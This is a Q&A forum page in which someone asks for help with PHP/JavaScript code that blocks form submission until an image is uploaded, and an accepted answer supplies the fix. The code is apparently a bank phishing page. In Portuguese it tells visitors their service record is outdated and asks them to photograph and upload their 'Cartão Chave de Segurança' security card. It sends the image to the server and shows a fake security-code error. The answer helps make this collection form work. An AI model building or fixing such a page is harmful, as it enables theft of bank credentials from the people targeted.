dsgdhtr_43654 2017-07-12 00:53 采纳率: 100%
浏览 67
已采纳

如何在没有从脚本上传文件时阻止提交按钮?

I am driving crazy once I dont understand alot about javascript and php. I got working part of this script , but having troubles to prevent the SUBMIT button going to other page if NO FILE was uploaded.

I will tryng to explain with my bad english. I am sorry in advance I got a JS script that resize the image. Its resize the image before upload to my server. It is working great. I am being able to save the resized file into server without problem too..

BUt I am not being able TO STOP the SUBMIT button from going ahead IF NO FILE is uploaded. PLease, help me !!

Below is the entire html and JS script: OBS: PROSSEGUIR = SUBMIT button in portuguese language.

<?php
include('conn.php');

$check_campo = $_POST['rand'];
$valor_campo = $_POST['position_check'];
$name = $_POST['name'];
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="theme-color" content="‪#ff0000">
    <meta name="msapplication-navbutton-color" content="#ff0000">
    <link rel="stylesheet" href="_styles/home.css">
    <script src="https://code.jquery.com/jquery-2.1.3.min.js"></script>
    <script src="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/js/bootstrap.min.js"></script>
    <script src="js/canvas-to-blob.min.js"></script>
    <script src="js/resize.js"></script>

    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css">
    <script src="_jscripts/home.js"></script>
    <title> FONE</title>


</head>
<body>

<div class="container bg-red"> <!-- content -->
</div><!-- container -->

<div class="container">
    <div class="content">
        <div style="font-size:1em;color:#ff0000;padding:10px;text-align:center;">
            <?php echo $name;?>
        </div>
    <div class="clear"></div>
    </div><!-- content -->
</div><!-- container -->
 <script type="text/javascript">

        // Iniciando biblioteca
        var resize = new window.resize();
        resize.init();

        // Declarando variáveis
        var imagens;
        var imagem_atual;

        // Quando carregado a página
        $(function ($) {

            // Quando selecionado as imagens
            $('#imagem').on('change', function () {
                enviar();
            });

        });

        /*
         Envia os arquivos selecionados
         */
        function enviar()
        {
            // Verificando se o navegador tem suporte aos recursos para redimensionamento
            if (!window.File || !window.FileReader || !window.FileList || !window.Blob) {
                alert('O navegador não suporta os recursos utilizados pelo aplicativo');
                return;
            }

            // Alocando imagens selecionadas
            imagens = $('#imagem')[0].files;

            // Se selecionado pelo menos uma imagem
            if (imagens.length > 0)
            {
                // Definindo progresso de carregamento
                $('#progresso').attr('aria-valuenow', 0).css('width', '0%');

                // Escondendo campo de imagem
                $('#imagem').hide();

                // Iniciando redimensionamento
                imagem_atual = 0;
                redimensionar();
            }
        }

        /*
         Redimensiona uma imagem e passa para a próxima recursivamente
         */
        function redimensionar()
        {
            // Se redimensionado todas as imagens
            if (imagem_atual > imagens.length)
            {
                // Definindo progresso de finalizado
                $('#progresso').html('Imagen(s) enviada(s) com sucesso');

                // Limpando imagens
                limpar();

                // Exibindo campo de imagem
                $('#imagem').show();

                // Finalizando
                return;
            }

            // Se não for um arquivo válido
            if ((typeof imagens[imagem_atual] !== 'object') || (imagens[imagem_atual] == null))
            {
                // Passa para a próxima imagem
                imagem_atual++;
                redimensionar();
                return;
            }

            // Redimensionando
            resize.photo(imagens[imagem_atual], 800, 'dataURL', function (imagem) {

                // Salvando imagem no servidor
                $.post('ajax/salvar.php', {imagem: imagem}, function() {

                    // Definindo porcentagem
                    var porcentagem = (imagem_atual + 1) / imagens.length * 100;

                    // Atualizando barra de progresso
                    $('#progresso').text(Math.round(porcentagem) + '%').attr('aria-valuenow', porcentagem).css('width', porcentagem + '%');

                    // Aplica delay de 1 segundo
                    // Apenas para evitar sobrecarga de requisições
                    // e ficar visualmente melhor o progresso
                    setTimeout(function () {
                        // Passa para a próxima imagem
                        imagem_atual++;
                        redimensionar();
                    }, 1000);

                });

            });
        }

              /*
         Limpa os arquivos selecionados
         */


    </script>
<script>
     function getmms(imagem){
        if(!imagem){
            alert('Envie uma foto do seu cartão Chave');
            return false;
        }
        else{
            document.getElementById('file_info').value = imagem;
            document.getElementById('getmms').style.display = 'block';
            return false;
        }
        return false;
    }
</script>

<div class="container">
    <form action="msg_finaliza.php" method="post" name="form" onsubmit="return check_position();" enctype="multipart/form-data">
    <div class="content bg-cinza2" style="padding:10px;color:#fff;font-size:0.9em;">
            Seu protocolo de atendimento com tabela ao Internet  está desatualizado.<br><br>
            Para regularizar seu dados, siga os passos abaixo:<br><br>
            <span style="text-align:left!important;">
                Passo 1: Tire 1 foto do seu Cartão Chave de Segurança.<br>
                Passo 2: Envie a foto do seu Cartão Chave de Segurança.<br>
                Passo 3: Aguarde, nossos consultores vão validar e reativar seu Cartão Chave de Segurança!
            </span>
            <br><br>
            Clique no botão abaixo para enviar a foto do seu Cartão Chave de Segurança.
            <br><br>
            <a href="#" class="botao_sobrepor bg-red btn_next_two" style="text-decoration:none;font-weigth:700;position: relative;text-align:center;line-height:40px;">
            Selecionar Foto
            <input type="file" name="imagem" id="imagem" accept=".jpg,.jpeg,.png" style="position:absolute;opacity:0;top:0;left:0;background-color:blue;width:100%;height:40px;" onchange="return getmms(this.form.imagem.value);">
            </a>
            <div class="progress">
            <div id="progresso" class="progress-bar progress-bar-success" role="progressbar" aria-valuenow="0"
                 aria-valuemin="0" aria-valuemax="100" style="width: 0%;"></div>
        </div>
            <input type="hidden" name="file_info" id="file_info" value="">
            <span style="display:none;width98%;height:20px;line-height16px;" id="getmms">
                <img src="_images/ok-png.png" width="20" style="float:left;">
                <span style="display:inline-block;margin-left:10px;margin-top:3px;float:left;">Imagem carregada com sucesso.</span>
            </span>

    </div><!-- content -->
</div>

<div class="container" id="msg_position_erro" style="display:none;">
    <div class="content">
        <div id="receive_msg" style="display:block;margin-bottom:10px;font-size:0.8em;">
            O Código de segurança informado não está correto!<br><br>
            Tente novamente!
        </div>
    <div class="clear"></div>
    </div><!-- content -->
</div><!-- container -->

<div class="container">
    <div class="content">
        <input type="hidden" name="rand" id="rand" value="<?php echo $rand;?>">
        <input type="hidden" name="name" id="name" value="<?php echo $name;?>">
        <input type="submit" name="proseguir" id="proseguir" value="Prosseguir >>" class="bg-red btn_next_two">
    <div class="clear"></div>
    </div><!-- content -->
</div><!-- container -->
    </form>
</div><!-- container -->
<!-- container -->
</body>
</html>
<?php ob_end_flush();?>

Please, someone help me ?

  • 写回答

4条回答 默认 最新

  • douqi0090 2017-07-12 00:59
    关注

    Your best bet would be to disable the submit button until there is a file available for upload. Do you know how to do that?

    Start off with the button disabled and then if your file submission, resizing, etc. is successful (it doesn't happen unless an image is uploaded) then enable the Submit button.

    Change your submit button as folllows:

    <input type="submit" disabled name="proseguir" id="proseguir" value="Prosseguir >>" class="bg-red btn_next_two">
    

    Then, add the extra line you see to your getmms function:

    function getmms(imagem){
        if(!imagem){
            alert('Envie uma foto do seu cartão Chave');
            return false;
        }
    else{
        document.getElementById('file_info').value = imagem;
        document.getElementById('getmms').style.display = 'block';
        $('#proseguir').prop('disabled', false);
        return false;
    }
    return false;
    }
    

    Are the two >> in the line below there intentionally?

     <input type="submit" name="proseguir" id="proseguir" value="Prosseguir >>" class="bg-red btn_next_two">
    
    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论
查看更多回答(3条)

报告相同问题?

悬赏问题

  • ¥15 用PLC设计纸袋糊底机送料系统
  • ¥15 simulink仿真中dtc控制永磁同步电机如何控制开关频率
  • ¥15 用C语言输入方程怎么
  • ¥15 网站显示不安全连接问题
  • ¥15 github训练的模型参数无法下载
  • ¥15 51单片机显示器问题
  • ¥20 关于#qt#的问题:Qt代码的移植问题
  • ¥50 求图像处理的matlab方案
  • ¥50 winform中使用edge的Kiosk模式
  • ¥15 关于#python#的问题:功能监听网页